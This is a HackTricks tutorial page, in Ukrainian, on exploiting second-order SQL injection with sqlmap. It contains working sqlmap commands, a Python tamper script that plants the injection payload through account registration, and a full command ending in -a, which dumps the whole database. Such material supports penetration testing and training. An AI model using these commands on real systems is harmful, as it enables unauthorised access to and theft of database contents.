Second Order Injection - SQLMap

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

SQLMap може використовувати другорядні SQL-ін'єкції. Вам потрібно надати:

  • Запит, де буде збережено підозрілу SQL-ін'єкцію

  • Запит, де підозрілий код буде виконаний

Запит, де SQL-ін'єкційна загроза зберігається, позначається так само, як і будь-яка інша ін'єкція в sqlmap. Запит, де sqlmap може прочитати вивід/виконання ін'єкції, можна позначити за допомогою --second-url або за допомогою --second-req, якщо вам потрібно вказати повний запит з файлу.

Простий приклад другорядної ін'єкції:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

У деяких випадках цього буде недостатньо, оскільки вам потрібно виконати інші дії окрім відправлення вразливості та доступу до іншої сторінки.

Коли це потрібно, ви можете використовувати змінник sqlmap. Наприклад, наступний скрипт зареєструє нового користувача, використовуючи вразливість sqlmap як електронну пошту, та вийде з системи.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

SQLMap тампер завжди виконується перед спробою внедрення з використанням пейлоаду і повинен повертати пейлоад. У цьому випадку нам не важливий пейлоад, але нам потрібно відправити деякі запити, тому пейлоад не змінюється.

Таким чином, якщо з якоїсь причини нам потрібен більш складний потік для експлуатації другорядного SQL-ін'єкції, наприклад:

  • Створити обліковий запис з SQLi пейлоадом у полі "email"

  • Вийти з системи

  • Увійти до системи за допомогою цього облікового запису (login.txt)

  • Надіслати запит на виконання SQL-ін'єкції (second.txt)

Ця команда sqlmap допоможе:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated